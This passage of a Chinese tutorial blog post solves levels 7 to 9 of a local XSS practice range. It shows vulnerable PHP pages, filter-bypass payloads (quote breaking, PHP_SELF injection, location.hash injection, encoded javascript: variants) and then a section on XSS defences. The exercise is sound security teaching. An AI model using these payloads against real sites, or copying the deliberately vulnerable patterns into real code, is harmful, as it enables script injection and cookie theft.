body,td,th {
	color: #F00;
}
</style>

<hr>
<h1>FOX-XSS闯关-第七关</h1><hr>
<h3>提示:以get传递name参数名,如xxs7.php?name=fox<br>
任务要求:<br>
绕过过滤,成功执行js脚本即成功<br>
靶场说明:通过xss绕过技术执行恶意脚本<br>
<a href="https://wpa.qq.com/msgrd?v=1&uin=79335929&site=houdao.com&menu=yes">联系作者</a>
</strong>
Hello
<script>
	var $a= '<?php echo htmlentities($_GET["name"]); ?>';
</script>
</body>
</html>

当我们输入之前的编码方法来尝试绕过,但没有弹出窗体,运行结果如下图所示:

在这里插入图片描述

查看源代码发现字符被转义了。

在这里插入图片描述


分析源码

  • 发现存在字符转义,比如 < 和 >
  • 过滤语句:htmlentities($_GET[“name”])
  • 存在问题:代码在JS环境中输出通过HTML编码的PHP变量,使用htmlentities()函数将字符转换为HTML实体。但htmlentities()函数并不能转换所有的特殊字符,是转换除了空格之外的特殊字符,且单引号和双引号需要单独控制(通过第二个参数),这里使用单引号绕过
  • ’;alert(‘Eastmount’);'
  • Eastmount’;alert($a);//

在这里插入图片描述

htmlentities()第2个参数取值如下:

  • ENT_COMPAT:默认值,只转换双引号
  • ENT_QUOTES:两种引号都转换
  • ENT_NOQUOTES:两种引号都不转换

绕过代码类似于之前的过狗一句话,将前面的Eastmount赋值给$a,然后弹出 $a。

在这里插入图片描述

注意,PHP中双引号输出和单引号输出有些差别,比如双引号输入具体指“123”,而单引号是$a。

<?php
    $a = 123;
    echo "$a";
    echo '$a';
?>

在这里插入图片描述

运行结果如下图所示,直接弹窗,通过单引号和匹配规则绕过函数htmlentities()。

在这里插入图片描述

在这里插入图片描述



十.XSS案例:第8关

XSS靶场第八关源码

<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<title>FOX-XSS闯关-第八关</title>
</head>
<body>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style type="text/css">
body,td,th {
	color: #F00;
}

</style>

<hr>
<h1>FOX-XSS闯关-第八关</h1><hr>
<h3>提示:以post传递name参数名<br>
任务要求:<br>
绕过过滤,成功执行js脚本即成功<br>
靶场说明:通过xss绕过技术执行恶意脚本<br>
<a href="https://wpa.qq.com/msgrd?v=1&uin=79335929&site=houdao.com&menu=yes">联系作者</a>
</strong>
<?php
	header("Content-Type: text/html; charset=utf-8");
  	if (isset($_POST["name"])) {
		echo "HELLO ".htmlentities($_POST["name"]);
  	}
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
  Your name:<input type="text" name="name" />
  <input type="submit" name="submit"/>
  
  </body>
</html>

当我们输入之前的编码方法来尝试绕过,但没有弹出窗体,运行结果如下图所示:

在这里插入图片描述

查看源代码如下图所示:

在这里插入图片描述


分析源码

  • 它是POST传输,尝试输入 < img scr=1 οnerrοr=alert(‘Eastmount’)> 发现被转义,代码使用htmlentities函数进行转义处理
  • 过滤语句:"HELLO ".htmlentities($_POST[“name”])
  • 存在问题:这里存在一个突破口 < form action="<?php echo $_SERVER['PHP_SELF']; ?>" ,当前正在执行的文件名为 $_SERVER[‘PHP_SELF’] ,即我们的“xss8.php”,尝试进行重新组合绕过

在这里插入图片描述

  • 绕过组合
/"><script>alert('Eastmount')</script>"< "
/"><img src=1 οnerrοr=alert('Eastmount')><form

闭合前面,然后后面进行重新组合,如下图所示:

在这里插入图片描述

组合后的语句如下所示:

http://127.0.0.1/xss/xss8.php/"><script>alert('Eastmount')</script>"< "
http://127.0.0.1/xss/xss8.php/"><img src=1 οnerrοr=alert('Eastmount')><form

运行结果如下图所示,直接弹窗,通过组合规则绕过 $_SERVER[‘PHP_SELF’],采用POST提交请求。

在这里插入图片描述

在这里插入图片描述



十一.XSS案例:第9关

XSS靶场第九关源码

<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<title>FOX-XSS闯关-第九关</title>
</head>
<body>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style type="text/css">
body,td,th {
	color: #F00;
}
</style>

<hr>
<h1>FOX-XSS闯关-第九关</h1><hr>
<h3>任务要求:<br>
绕过过滤,成功执行js脚本即成功<br>
靶场说明:通过xss绕过技术执行恶意脚本<br>
<a href="https://wpa.qq.com/msgrd?v=1&uin=79335929&site=houdao.com&menu=yes">联系作者</a>
</strong>

<script>
	document.write(location.hash.substring(1));
</script>
</body>
</html>

当我们输入之前的编码方法来尝试绕过,但没有弹出窗体,运行结果如下图所示:

在这里插入图片描述


分析源码

  • XSS直接在页面输出锚点id,这里的location是获取当前URL的信息,hash属性是一个可读可写的字符串,该字符串是URL的锚部分(从 # 号开始),基本用法为location.hash
  • 过滤语句:document.write(location.hash.substring(1))
  • 存在问题:这里可以使用 # 号闭合,然后加入语句执行,构建一个带XSS的锚点
  • ** #< script>alert(‘Eastmount’)</ script>**

在这里插入图片描述

运行结果如下图所示,刷新网页后即可弹窗。

http://localhost/xss/xss9.php #<script>alert('Eastmount')</script>

在这里插入图片描述



十二.如何防御XSS

由于XSS通常可以插入在script标签、HTML注释、标签属性名、标签属性值、标签名字、CSS等中,所以接下来我们简单讲讲如何防御XSS攻击。

1.输入过滤

输入验证就是对用户提交的信息进行有效验证,仅接受指定长度范围内的,采用适当的内容提交,阻止或者忽略除此外的其他任何数据。如下代码,检查用户输入的电话号码是否真确(数字、字母检测)。

在这里插入图片描述

输入正确和错误分别提示。

在这里插入图片描述

输入验证要根据实际情况设计,下面是一些常见的检测和过滤:

  • 输入是否仅仅包含合法的字符
  • 输入字符串是否超过最大长度限制
  • 输入如果为数字,数字是否在指定的范围
  • 输入是否符合特殊的格式要求,如E-mail地址、IP地址等

2.输出编码

大多数的Web应用程序都存在一个通病,就是会把用户输入的信息完完整整的输出在页面中,这样很容易便会产生一个XSS。HTML编码在防止XSS攻击上起到很大的作用,它主要是用对应的HTML实体编号替代字面量字符,这样做可以确保浏览器安全处理可能存在恶意字符,将其当做HTMl文档的内容而非结构加以处理。

在这里插入图片描述


3.标签黑白名单过滤

有时根本就不需要考虑到它是不是HTML标签,我们根本用不到HTML标签。不管是采用输入过滤还是输出过滤,都是针对数据信息进行黑/白名单式的过滤。

不同的javascript写法包括:

大小写混淆: 
    <img src=JaVaScRiPt:alert(‘xss’)>
插入[tab]键;
    <img src=”jav ascript:alert(‘xss’);”>
插入回车符: 
    <img src=”jav
        asrci
        pt:alert(‘xss’);”>
使用/**/注释符: 
<img src=”java/*xxx*/script:alert(‘xss’);”>

重复混淆关键字: 
    <img src=”java/*/*javascript*/script/*javascript*/*/script:alert(‘xss’);”>

使用&#十六进制编码字符: 
    <img src=”jav&#x09;ascript:alert(‘xss’);”>

使用&#十进制编码字符:
    <img src= jav&#97;script:alert(‘xss’);”>

使用&#十进制编码字符(加入大量的0000):
    <img src=”j&#00097;vascript:alert(‘xss’);”>

在开头插入空格:
    <img src= javascript:alert(‘xss’);”>

黑名单:
过滤可能造成危害的符号及标签,发现使用者输入参数的值为 < script>xxx< /script> 就将其取代为空白。其优点是可以允许开发某些特殊HTML标签,确实是可能因过滤不干净而使攻击者绕过规则。

白名单:
白名单仅允许执行特定格式的语法,仅允许< img scr=“http://xxx” > 格式,其余格式一律取代为空白。其优点是可允许特定输入格式的HTML标签,确实是验证程序编写难度校高,且用户可输入变化减少。


4.代码实体转义

由于只保留文字部分是一劳永逸的,有时我们还需要展示这个标签,比如说程序论坛当中要贴一个代码,这个时候我们需要用一些转义,它会把这个大括号、小括号以及双引号做一个转义,做为一个字符,就无法执行这个标签型,后面加一个参数,但有时候单引号也会造成XSS。


5.httponly防止cookie被盗取

一个信号当中有那么多的地方存在着这个输入以及检测的地方,可能就有一些地方漏掉,只要有一个地方漏掉了,用户的cookie信息就被盗取了。服务器在发送用户信息的时候,我们需要加上一个httponly,这个代码无法读取到cookie的信息,那么攻击者也是得不到这个信息,这对于用户来说也是非常好的保护。

比如说张三在我们网站上登陆了一下用户名,李四他特意发了一个攻击请求,他拿不到这个用户ID,就冒充不了这个张三。如果在Cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到Cookie信息,这样能有效的防止XSS攻击。

最重要的是:千万不要引入任何不可信的第三方JavaScript到页面里!



十三.总结

写到这里,这篇文章就介绍完毕,本文围绕下面几个知识点进行XSS讲解。

  • preg_repalce()执行一个正则表达式的搜索和替换
  • preg_match()执行匹配正则表达式
  • htmlspecialchars()将特殊字符转换为 HTML 实体
  • strip_tags() 从字符串中去除 HTML 和 PHP 标记
  • js环境输出php变量

再次感谢Fox好友,这一年也认识了很多安全的大佬和朋友,希望大家一起进步。这篇文章中如果存在一些不足,还请海涵。作者作为网络安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,感谢师傅、师兄师弟、师姐师妹们的教导,深知自己很菜,得努力前行。

在这里插入图片描述

恭喜师弟师妹们顺利毕业,特殊时期,一场云答辩,一张云合影,都是美妙的记忆,也从你们毕设中学到很多,祝大家前程似锦。依稀记得本科毕业那年,七号楼宿舍大叔写的“志当存高远,无愧梦少年”,如昨

欢迎大家讨论,是否觉得这系列文章帮助到您!任何建议都可以评论告知读者,共勉。

(By:Eastmount 2020-05-18 晚上9点写于贵阳 http://blog.csdn.net/eastmount/ )


本文链接: http://www.dtmao.cc/news_show_1100234.shtml

附件下载

相关教程

    暂无相关的数据...

共有条评论 网友评论

验证码: 看不清楚?